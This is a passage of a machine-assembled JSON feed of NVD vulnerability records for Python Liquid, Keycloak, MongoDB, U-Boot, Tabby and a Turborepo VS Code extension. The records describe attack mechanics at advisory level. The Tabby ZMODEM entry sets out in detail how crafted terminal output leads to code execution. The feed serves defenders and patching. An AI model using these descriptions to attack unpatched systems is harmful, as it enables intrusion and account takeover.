record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45017","cveId":"CVE-2026-45017","aliases":[],"kind":"vulnerability","title":"Python Liquid is a Python engine for the Liquid template language.","summary":"Python Liquid is a Python engine for the Liquid template language. Prior to 2.2.0, the built-in FileSystemLoader and CachingFileSystemLoader do not guard against reading files outside their search paths when given an absolute path to resolve. This allows malicious template authors to load and render arbitrary files via the {% include %} and {% render %} tags. Targeted files would need to contain valid Liquid markup and be readable by the application process. This vulnerability is fixed in 2.2.0.","detail":"Python Liquid is a Python engine for the Liquid template language. Prior to 2.2.0, the built-in FileSystemLoader and CachingFileSystemLoader do not guard against reading files outside their search paths when given an absolute path to resolve. This allows malicious template authors to load and render arbitrary files via the {% include %} and {% render %} tags. Targeted files would need to contain valid Liquid markup and be readable by the application process. This vulnerability is fixed in 2.2.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T16:16:25.883Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"jg-rp","product":"python liquid","stacks":["Python","python liquid"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45017","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45017","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45017","type":"primary","publishedAt":"2026-05-28T16:16:25.883Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/jg-rp/liquid/security/advisories/GHSA-8p4x-wr7x-3788","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7571","cveId":"CVE-2026-7571","aliases":[],"kind":"vulnerability","title":"A flaw was found in Keycloak. A low-privilege user, with knowledge of user credentials and client ID, can bypass a security control intended to disable the implicit flow in OpenID...","summary":"A flaw was found in Keycloak. A low-privilege user, with knowledge of user credentials and client ID, can bypass a security control intended to disable the implicit flow in OpenID Connect (OIDC) clients. By manipulating client data during a session restart, an attacker can obtain an access token that should not be available. This vulnerability can also lead to the exposure of these access tokens in server logs, proxy logs, and HTTP Referrer headers, resulting in sensitive information disclosure.","detail":"A flaw was found in Keycloak. A low-privilege user, with knowledge of user credentials and client ID, can bypass a security control intended to disable the implicit flow in OpenID Connect (OIDC) clients. By manipulating client data during a session restart, an attacker can obtain an access token that should not be available. This vulnerability can also lead to the exposure of these access tokens in server logs, proxy logs, and HTTP Referrer headers, resulting in sensitive information disclosure.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-19T12:16:19.820Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"redhat","product":"build of keycloak","stacks":["Redhat","build of keycloak"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7571","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7571","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7571","type":"primary","publishedAt":"2026-05-19T12:16:19.820Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://access.redhat.com/errata/RHSA-2026:19596","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7507","cveId":"CVE-2026-7507","aliases":[],"kind":"vulnerability","title":"A session fixation vulnerability was found in Keycloak's login-actions endpoints.","summary":"A session fixation vulnerability was found in Keycloak's login-actions endpoints. An unauthenticated attacker could exploit this flaw by pre-creating an authentication session and tricking a victim into visiting a maliciously crafted link. By leveraging the /login-actions/restart endpoint—which processes session handles without adequate CSRF protection or cookie ownership validation—an attacker can reset the authentication flow state. This causes Single Sign-On (SSO) to authenticate the victim transparently upon clicking the link, allowing the attacker to hijack the required-action form without needing the victim's credentials. A successful exploit could lead to complete account takeover, including highly privileged administrative accounts.","detail":"A session fixation vulnerability was found in Keycloak's login-actions endpoints. An unauthenticated attacker could exploit this flaw by pre-creating an authentication session and tricking a victim into visiting a maliciously crafted link. By leveraging the /login-actions/restart endpoint—which processes session handles without adequate CSRF protection or cookie ownership validation—an attacker can reset the authentication flow state. This causes Single Sign-On (SSO) to authenticate the victim transparently upon clicking the link, allowing the attacker to hijack the required-action form without needing the victim's credentials. A successful exploit could lead to complete account takeover, including highly privileged administrative accounts.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-19T12:16:19.687Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"redhat","product":"build of keycloak","stacks":["Redhat","build of keycloak"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7507","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7507","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7507","type":"primary","publishedAt":"2026-05-19T12:16:19.687Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://access.redhat.com/errata/RHSA-2026:19594","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7504","cveId":"CVE-2026-7504","aliases":[],"kind":"vulnerability","title":"A flaw was found in Keycloak's URL validation logic during redirect operations. By crafting a malicious request, an attacker could bypass validation to redirect users to...","summary":"A flaw was found in Keycloak's URL validation logic during redirect operations. By crafting a malicious request, an attacker could bypass validation to redirect users to unauthorized URLs, potentially leading to the exposure of sensitive information within the domain or facilitating further attacks. This vulnerability specifically affects Keycloak clients configured with a wildcard (*) in the \"Valid Redirect URIs\" field and requires user interaction to be successfully exploited.\n\nThe issue stems from a discrepancy in how Keycloak and the underlying Java URI implementation handle the user-info component of a URL. If a malicious redirect URL is constructed using multiple @ characters in the user-info section, Java's URI parser fails to extract the user-info, leaving only the raw authority field. Consequently, Keycloak's validation check fails to detect the malformed user-info, falls back to a wildcard comparison, and incorrectly permits the malicious redirect.","detail":"A flaw was found in Keycloak's URL validation logic during redirect operations. By crafting a malicious request, an attacker could bypass validation to redirect users to unauthorized URLs, potentially leading to the exposure of sensitive information within the domain or facilitating further attacks. This vulnerability specifically affects Keycloak clients configured with a wildcard (*) in the \"Valid Redirect URIs\" field and requires user interaction to be successfully exploited.\n\nThe issue stems from a discrepancy in how Keycloak and the underlying Java URI implementation handle the user-info component of a URL. If a malicious redirect URL is constructed using multiple @ characters in the user-info section, Java's URI parser fails to extract the user-info, leaving only the raw authority field. Consequently, Keycloak's validation check fails to detect the malformed user-info, falls back to a wildcard comparison, and incorrectly permits the malicious redirect.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-19T12:16:19.553Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"redhat","product":"build of keycloak","stacks":["Redhat","build of keycloak"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7504","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7504","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7504","type":"primary","publishedAt":"2026-05-19T12:16:19.553Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://access.redhat.com/errata/RHSA-2026:19594","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7307","cveId":"CVE-2026-7307","aliases":[],"kind":"vulnerability","title":"A flaw was found in Keycloak. A remote, unauthenticated attacker can send a specially crafted XML input to the Security Assertion Markup Language (SAML) endpoint.","summary":"A flaw was found in Keycloak. A remote, unauthenticated attacker can send a specially crafted XML input to the Security Assertion Markup Language (SAML) endpoint. This malicious input can cause high CPU usage and worker thread starvation, leading to a Denial of Service (DoS) where the server becomes unavailable.","detail":"A flaw was found in Keycloak. A remote, unauthenticated attacker can send a specially crafted XML input to the Security Assertion Markup Language (SAML) endpoint. This malicious input can cause high CPU usage and worker thread starvation, leading to a Denial of Service (DoS) where the server becomes unavailable.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-19T12:16:19.423Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"redhat","product":"build of keycloak","stacks":["Redhat","build of keycloak"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7307","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7307","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7307","type":"primary","publishedAt":"2026-05-19T12:16:19.423Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://access.redhat.com/errata/RHSA-2026:19594","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8843","cveId":"CVE-2026-8843","aliases":[],"kind":"vulnerability","title":"Creating a \"2dsphere_bucket\" index on a non-timeseries bucket collection will succeed, but any subsequent attempt to insert a document which triggers updating that index will...","summary":"Creating a \"2dsphere_bucket\" index on a non-timeseries bucket collection will succeed, but any subsequent attempt to insert a document which triggers updating that index will crash the server. A similar issue occurs when creating \"queryable_encrypted_range\" indices.\n\nThis issue affects MongoDB Server v7.0 versions prior to 7.0.32, v8.0 versions prior to 8.0.21 and v8.2 versions prior to 8.2.6","detail":"Creating a \"2dsphere_bucket\" index on a non-timeseries bucket collection will succeed, but any subsequent attempt to insert a document which triggers updating that index will crash the server. A similar issue occurs when creating \"queryable_encrypted_range\" indices.\n\nThis issue affects MongoDB Server v7.0 versions prior to 7.0.32, v8.0 versions prior to 8.0.21 and v8.2 versions prior to 8.2.6\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-18T17:16:34.563Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"mongodb","product":"mongodb","stacks":["Mongodb","mongodb"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8843","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8843","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8843","type":"primary","publishedAt":"2026-05-18T17:16:34.563Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://jira.mongodb.org/browse/SERVER-116327","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46728","cveId":"CVE-2026-46728","aliases":[],"kind":"vulnerability","title":"Das U-Boot before 2026.04 allows FIT (Flat Image Tree) signature verification bypass because hashed-nodes is omitted from a hash.","summary":"Das U-Boot before 2026.04 allows FIT (Flat Image Tree) signature verification bypass because hashed-nodes is omitted from a hash.","detail":"Das U-Boot before 2026.04 allows FIT (Flat Image Tree) signature verification bypass because hashed-nodes is omitted from a hash.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-16T22:16:13.317Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"denx","product":"u-boot","stacks":["Denx","u-boot"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46728","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46728","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46728","type":"primary","publishedAt":"2026-05-16T22:16:13.317Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/barebox/barebox/security/advisories/GHSA-3fvj-q26p-j6h4","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45037","cveId":"CVE-2026-45037","aliases":[],"kind":"vulnerability","title":"Tabby (formerly Terminus) is a highly configurable terminal emulator.","summary":"Tabby (formerly Terminus) is a highly configurable terminal emulator. Prior to 1.0.232, Tabby's terminal linkifier passes any detected URI directly to the operating system's protocol handler without validating the protocol scheme. This allows a malicious SSH or Telnet server to send crafted terminal output containing dangerous protocol URIs which Tabby renders as clickable links, triggering arbitrary OS protocol handlers on the victim's machine. This vulnerability is fixed in 1.0.232.","detail":"Tabby (formerly Terminus) is a highly configurable terminal emulator. Prior to 1.0.232, Tabby's terminal linkifier passes any detected URI directly to the operating system's protocol handler without validating the protocol scheme. This allows a malicious SSH or Telnet server to send crafted terminal output containing dangerous protocol URIs which Tabby renders as clickable links, triggering arbitrary OS protocol handlers on the victim's machine. This vulnerability is fixed in 1.0.232.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T17:16:48.623Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"tabby","product":"tabby","stacks":["Tabby","tabby"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45037","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45037","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45037","type":"primary","publishedAt":"2026-05-15T17:16:48.623Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/Eugeny/tabby/security/advisories/GHSA-cmpc-v2x9-j9x9","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45036","cveId":"CVE-2026-45036","aliases":[],"kind":"vulnerability","title":"Tabby (formerly Terminus) is a highly configurable terminal emulator.","summary":"Tabby (formerly Terminus) is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. The ZModemMiddleware in tabby-terminal consumes all session output through a Zmodem.Sentry, and when a ZMODEM ZRQINIT header is detected, unconditionally calls detection.confirm() and writes a fixed ZRINIT response ( **\\x18B0100000023be50\\r\\n\\x11) back into the active PTY as input. When the process that triggered the detection (e.g., cat) exits, the injected bytes are consumed by the user's shell as a command line. Under fish (default configuration), the ** prefix triggers recursive glob expansion against the current directory, allowing an attacker-placed executable at a matching nested path (e.g., d/xB0100000023be50) to be executed by relative pathname without relying on PATH. Under bash and zsh, a secondary xterm.js terminal color-query feedback (OSC 10) can be combined in the same file to inject a slash-containing command word that similarly bypasses PATH resolution. An attacker can exploit this by providing a crafted file (e.g., in a cloned Git repository) that a user displays with cat, achieving code execution with no interaction beyond viewing the file. This vulnerability is fixed in 1.0.233.","detail":"Tabby (formerly Terminus) is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. The ZModemMiddleware in tabby-terminal consumes all session output through a Zmodem.Sentry, and when a ZMODEM ZRQINIT header is detected, unconditionally calls detection.confirm() and writes a fixed ZRINIT response ( **\\x18B0100000023be50\\r\\n\\x11) back into the active PTY as input. When the process that triggered the detection (e.g., cat) exits, the injected bytes are consumed by the user's shell as a command line. Under fish (default configuration), the ** prefix triggers recursive glob expansion against the current directory, allowing an attacker-placed executable at a matching nested path (e.g., d/xB0100000023be50) to be executed by relative pathname without relying on PATH. Under bash and zsh, a secondary xterm.js terminal color-query feedback (OSC 10) can be combined in the same file to inject a slash-containing command word that similarly bypasses PATH resolution. An attacker can exploit this by providing a crafted file (e.g., in a cloned Git repository) that a user displays with cat, achieving code execution with no interaction beyond viewing the file. This vulnerability is fixed in 1.0.233.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T17:16:48.487Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"tabby","product":"tabby","stacks":["Tabby","tabby"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45036","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45036","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45036","type":"primary","publishedAt":"2026-05-15T17:16:48.487Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/Eugeny/tabby/security/advisories/GHSA-qr3x-j8g9-xhf6","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46508","cveId":"CVE-2026-46508","aliases":[],"kind":"vulnerability","title":"Turborepo is a high-performance build system for JavaScript and TypeScript codebases.","summary":"Turborepo is a high-performance build system for JavaScript and TypeScript codebases. Prior to 2.9.14000, the Turborepo LSP VS Code extension could execute shell commands derived from workspace-controlled values. The extension used string-based command execution for Turborepo daemon commands and task runs. A malicious workspace could provide crafted values through workspace settings or task names in the repository's source code that were interpolated into shell commands. When the extension activated or when a user ran a task through the extension, those values could be interpreted by the user's shell, allowing arbitrary command execution with the privileges of the local VS Code process. This vulnerability is fixed in 2.9.14000.","detail":"Turborepo is a high-performance build system for JavaScript and TypeScript codebases. Prior to 2.9.14000, the Turborepo LSP VS Code extension could execute shell commands derived from workspace-controlled values. The extension used string-based command execution for Turborepo daemon commands and task runs. A malicious workspace could provide crafted values through workspace settings or task names in the repository's source code that were interpolated into shell commands. When the extension activated or when a user ran a task through the extension, those values could be interpreted by the user's shell, allowing arbitrary command execution with the privileges of the local VS Code process. This vulnerability is fixed in 2.9.14000.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T16:16:15.420Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"vercel","product":"turborepo language server protocol","stacks":["Vercel","turborepo language server protocol"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46508","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46508","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46508","type":"primary","publishedAt":"2026-05-15T16:16:15.420Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/vercel/turborepo/security/advisories/GHSA-5xc8-49mv-x4mm","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 